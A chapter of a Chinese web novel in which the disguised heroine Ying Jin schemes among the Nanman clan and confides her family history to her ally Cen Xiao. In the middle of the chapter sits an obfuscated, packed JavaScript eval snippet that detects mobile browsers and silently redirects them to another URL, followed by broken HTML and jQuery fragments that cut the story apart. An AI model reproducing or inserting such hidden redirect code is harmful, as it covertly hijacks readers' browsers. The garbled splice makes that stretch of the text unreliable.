默认冷灰
24号文字
方正启体

25. 25 她在澹瀛名声很好的

作者:弋阳I本书字数:K更新时间:
    南蛮的聚居地在茂密深处的一片山谷中。


    二层的木屋一楼养着牲畜,二楼住人,鳞次栉比的建了一山谷。山谷四周的并不平缓的山坡间,是密密麻麻的梯田。


    有妇孺,有老幼,炊烟袅袅,一派安详村落的景象。


    只是这份安详,又有多少是南蛮人在外烧杀抢掠换来的呢?


    应堇嗤笑了下,把木窗合死。


    陇右北边的匈奴人也是这样。


    比这还惹人烦。


    她望向屠巴,轻声道,“现在没人,抓紧歇会儿,晚上陪我出去做点事”


    屠巴诧异,“晚上,做什么二爷?”


    应堇一边拿起椅上的外衣,一边费劲的抬起裹着厚重白布的胳膊,随口道,“去见赵太医。”


    屠巴的眼睛瞬间亮了起来。


    应堇忽视了屠巴的欣喜,淡淡的丢下了句,“我出去一趟。”


    屠巴仍沉浸在要去找赵太医的喜悦中,只含糊应了一声。


    应堇便悄然的叹了口气,顺着那陡峭发霉的木楼梯下楼出门。


    虽然快晌午了,可这密林里仍笼罩着一层薄薄的雾气。


    四周皆是群山连绵,隐入了远处雾与太阳交融的亮点里。


    远处似乎还有着隐隐约约的争吵声不绝。


    应堇唇角勾起抹讥讽,加快脚步,就听身后有人在喊“二黑。”


    她步伐顿了半下,回过头,脸上堆起笑,神情变得真挚又讨好。


    “张石哥,怎么了?”


    张石气喘吁吁的追上她,朝她竖起大拇指,“厉害啊,二黑!没想到你这么能说!一想到刚刚在祠堂里,那几个讨厌的老头子被驳的哑口无言,只一张脸黑着,不情不愿的同意了族长接任位置,我就高兴的慌!”


    南蛮的局势比应堇想的还要乱,韦德身为族长,其实做的是有几分本事的,族中上面的老头子,下面的小辈虽虎视眈眈,但到底听他的。


    只是韦德没儿子,虽有一个养子,但不是韦家族内的孩子,南蛮不认。


    先族长已死,群龙无首,这种局面下,韦义带回来了韦德的尸体,还有她这位演技高超的证人,韦义身上的分量就重了许多。


    应堇故作腼腆挠了挠头,有些不好意思的低头,“我就是实话实说,毕竟先族长就是那么交代的……”


    “实话实说好啊!”张石重重的拍了拍她的肩膀,“如今这世道,嘴里没半句实话的人太多了!”


    应堇:……她不敢接这话,大概是心虚的很。


    张石已经继续道,“走吧,不是去族长那里开个小会?”


    应堇心头一皱,不动声色的疑惑道,“没人与我说啊?”


    张石全然是把她当自己人了,也没细想就道“大概是通知的大牛忘了,走吧,一起去,以后咱们都是一家子,不差这点。”


    应堇惶恐犹豫的摆摆手,“算了,想来族长是有急事找你们,恐怕和我没什么关系,我就不去凑这个热闹了。”


    张石耸肩,“害,这可大可小的事,行吧,我先过去了。”


    他不在意的道了个别走远,应堇站在原地微微顿了下,才选了条人不多的小路,往岑笑的住处快步而去。


    韦义果然是个聪明人,今日这一遭后不信她,但却要留着她对付那些老家伙。


    卸磨杀驴还是背后藏一手?


    应堇摇摇头,唇边泛起抹冰冷的笑。


    总归先下手者强。


    岑笑站在窗边,倚着窗棱看远山,神情平静,眼神却微微失焦。


    静悄悄的山谷里,突然传来了些悉索声,她打眼望过去,就瞧着那里,应堇在用那唯一一只良好的胳膊朝她使劲的挥手,笑得眉眼弯弯。


    岑笑觉得好玩,噗嗤一声笑了出来,面上的寒霜瞬间淡去。


    “刚才在想什么,那么入神?”上了楼,应堇趴在桌前,笑着问她。


    岑笑愣了一下,不自觉的摇摇头。


    应堇也就不再多问,一只胳膊伸了个懒腰,显得格外的滑稽,语气却很是认真,“放心,都会过去的。”


    “会过去,可是结果一定是好的吗?”岑笑轻声问道。


    “尽力了,便问心无愧。“应堇拍拍她的肩膀,望着这个单薄瘦弱的女子。


    “嗯。”岑笑轻声应道。


    应堇便转入正题,“我来是想跟你说,我们离的远,你自己要千万注意安全,不然晚上就去我们那边休息。“


    “没事。”岑笑摇摇头,“到了澹瀛族中,没人敢单轻易动我。”


    “嗯?”


    “我在澹瀛中人缘还挺好的。”岑笑轻声道。


    应堇没有多在意,只是道,“那你总要多小心,晚上时拿东西把门和窗堵好了,我和屠巴今晚出去去找赵太医,实在不行你就去我们那里休息一晚。”


    岑笑望向她,有些迟疑,“你的胳膊,还好吗?”


    应堇便抬臂抡了个圆,“一切安好。”


    “别胡闹!”岑笑微嗔,真的有了几分的火气,“那是你的胳膊,以后下雨阴天开始疼了,有你后悔的。”


    “哦。”应堇笑着望着她,“你给我一种妈妈的感觉。”


    岑笑被她说又气又笑,看着那个笑容和煦一身男装的姑娘,轻声问道,“别胡闹,说正事。你去找了赵太医,赵太医同意跟你去林安,然后呢?”


    应堇便卸下了些气,趴在桌上,声音低沉,“我不知道。南蛮大乱,秦城也不安稳,除了生死未知的叶正衍,再没有人比我更了解这两边有多少方人马,各有多少的鬼心。”


    “若不在这乱局上占点便宜,我真是不甘心。”


    “可是我兄长……”


    岑笑问道,“他是你亲哥哥吗?”


    应堇点点头,又摇摇头,“同父异母。”


    “我母亲当初跟着家人从河阳逃荒去的陇右,被卖进林家做奴婢,长得漂亮些,就被非礼了有了我。”


    “她去世的早,我印象里也记不得她的模样,只是她给我留下了块很破的帕子,上面绣了个应,这或许是她的闺名,我便拿来用做了姓。”


    她絮叨着,便不自觉的说多了些,“我年少时便在乡下的农庄里长大,和普通的农女没什么两样。直到那一年,兄长去打猎,在那户农庄外的草原上被狼群给围了,我去农庄里喊的人来救他。他因此把我重新带回了林家,让我正理八经的成了个主子。”


    应堇嗤笑一声,“其实那一日,我是尾随着他去的草原。因那时我很嫉妒他,明明我们有同样的父亲,他是家中的世子,我却从小只是农女,婆子不许我读书,我偷着学些武功又被骂做假小子,总会挨板子。”


    岑笑沉默的拍拍她,应堇便摇摇头继续道,“我兄长对我很好,他没有同母的兄弟姐妹,对我就仿佛是亲生的妹妹,吃穿用度都是府上最好的。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278974|198331||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “我该知足的。”


    “可或许在农庄带了十六年,早把我的性子养的像农庄外的狼一般野,我不想限于那深宅的方寸之地,因而没少被族中的叔伯批判声讨,那些声音我倒不在乎,只是我有时总难过,难过我兄长会与他们说一样的话。”


    “他常说我只是个姑娘家,可我十五岁便敢骑着马去草原里猎狼。我前十六年没识过一个字,却不影响如今我是整个族中年轻一辈中学识最好的。”


    应堇低垂着眉眼,指尖攥进了拳里,脸上带着几分荒唐的笑,“兄长重病,族中叔伯逼迫,兄长没先想着他的病,却先想着让我活下去,只是这份出路,却是把我送到了澹瀛送给了韦德。”


    她沉沉的叹口气,望向岑笑,“可他也是我唯一的亲人了,我这两日做梦,总梦着他又吐血,背上的痈俎长的又大了,我害怕,晚回去一天,或许他的性命便垂危一日。”


    “只是……我又不想放弃如今南蛮和秦城的大好局面。”应堇那一双坚韧的眸中罕见的带着犹豫,“南蛮这次踢了个大马蜂窝,最多三日内,秦城的军队必将来到把这里扫荡一空。我原以为这是帮落寇的土匪,却没想着还有妇孺老幼。夺权很难,如何在秦城的大军下周全保下这些妇孺更难。”


    “我没想好前路,也或许,只是走一步看一步吧。”


    岑笑一双清冷的眉眼凝着她,半晌,摸了摸她束成男子的发髻,轻声道,“剩下的,我帮你。”


    应堇低低的笑了声,“我是不是不够果决?”


    岑笑摇摇头,“礼义仁智信,成大事的人,从不是六亲不认,只有冰冷自私的。”


    “好吧,你说的真好,谢谢你岑笑。”应堇很认真的道,长舒了口气,又笑了起来,“我要回去了,好几日没睡好,我白天要补补觉。”


    她望着岑笑,“你真不用去我们那边吗?偷偷的,没人能发现,你一个姑娘家在这,太不安全了。”


    岑笑摇摇头,唇边泛起一抹浅淡却笃定的笑,“我说了,我在澹瀛的名声很好的。”


    应堇没有多想,转身看看没人便准备从后窗跳下去,又不放心的嘱托道,“那你把门窗掩好啊,韦德那真小人,可韦义这厮却是伪君子。有时候,伪君子比真小人还恶心。”


    “嗯。”岑笑应着,目送着应堇离开,并没有合死木窗,只是静静的坐在窗边。


    年少时,她总以为她的人生看的到头,跟了韦德时,许是为了钱财,许是为了躲开她那酒鬼的父亲。


    可在澹瀛的这么多年,与澹瀛的每一位妇孺老人,每一位族人搞好关系,处处帮忙。


    那些时候,她是在想给自己留一条退路,还是想着留一条前路呢?


    岑笑过往不知道,可她识得了应堇,那个来自几千里外,与秦城的气候截然相反的林安的姑娘,她们自幼的经历迥然不同,只是都有颗不服输的心。


    是哪个瞬间让她下定了决心?


    或许是那日韦德走后,她扶起衣衫不整的应堇时,偶然瞥见她眼中带着野心和仇恨的光,也或许是那日在茶楼上她坚定的说要杀韦德时真挚的神情。


    亦或许是当韦德的脑袋在她面前被利箭穿过,血花溅在她的衣服上时。


    岑笑没有合上窗,静静的望着窗外应堇的身影越走越远,终于下定了决心,下楼出门。


    她说过,她在澹瀛名声很好的。


    这不是句空话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)